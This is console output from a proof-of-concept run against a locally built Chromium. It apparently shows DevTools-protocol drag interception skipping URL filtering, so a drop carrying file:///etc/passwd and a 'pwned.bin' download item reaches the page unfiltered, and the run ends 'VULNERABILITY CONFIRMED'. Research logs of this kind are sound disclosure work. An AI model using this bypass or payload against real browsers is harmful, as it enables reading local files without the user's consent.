[+] http server on http://127.0.0.1:18371/poc.html
[+] launching: /chromium/chromium/src/out/asan/chrome --headless=new --remote-debugging-pipe --no-first-run --no-default-browser-check --no-sandbox --disable-gpu --disable-dev-shm-usage --user-data-dir=/tmp/chrome-poc-profile about:blank
[+] page target: 90E930ED97417D81B37C309586DBE634
[+] attached, sessionId=97A81B17295A123531B7ECB5C5F514E1
[+] Input.setInterceptDrags(true)
[+] navigated to http://127.0.0.1:18371/poc.html

======================================================================
[BUG] Input.dragIntercepted payload (raw, pre-FilterURL):
{
  "data": {
    "items": [
      {
        "mimeType": "text/uri-list",
        "data": "file:///etc/passwd"
      },
      {
        "mimeType": "downloadurl",
        "data": "application/octet-stream:pwned.bin:file:///etc/passwd"
      },
      {
        "mimeType": "text/plain",
        "data": "marker"
      }
    ],
    "dragOperationsMask": -1
  }
}
======================================================================
[BUG] text/uri-list emitted UNFILTERED: file:///etc/passwd
      FilterURL at rwhi.cc:2927 would have rewritten this to about:blank for an http:// renderer.
[BUG] downloadurl emitted UNFILTERED: application/octet-stream:pwned.bin:file:///etc/passwd
      FilterURL at rwhi.cc:2931-2938 would have reset download_metadata for an http:// renderer.
[+] dispatchDragEvent(dragEnter) -> ok
[+] dispatchDragEvent(dragOver) -> ok
[+] dispatchDragEvent(drop) -> ok

[round-trip] drop target received: {"uri":"file:///etc/passwd","dl":"","text":"marker"}
[BUG] round-trip delivered UNFILTERED file:// to DragTargetDrop -> renderer drop handler.
      FilterDropData was NOT invoked on the CDP path.

======================================================================
RESULT: VULNERABILITY CONFIRMED
  - dragIntercepted emitted pre-FilterURL renderer payload
  - dispatchDragEvent round-trip reached DragTargetDrop with the unfiltered URL
======================================================================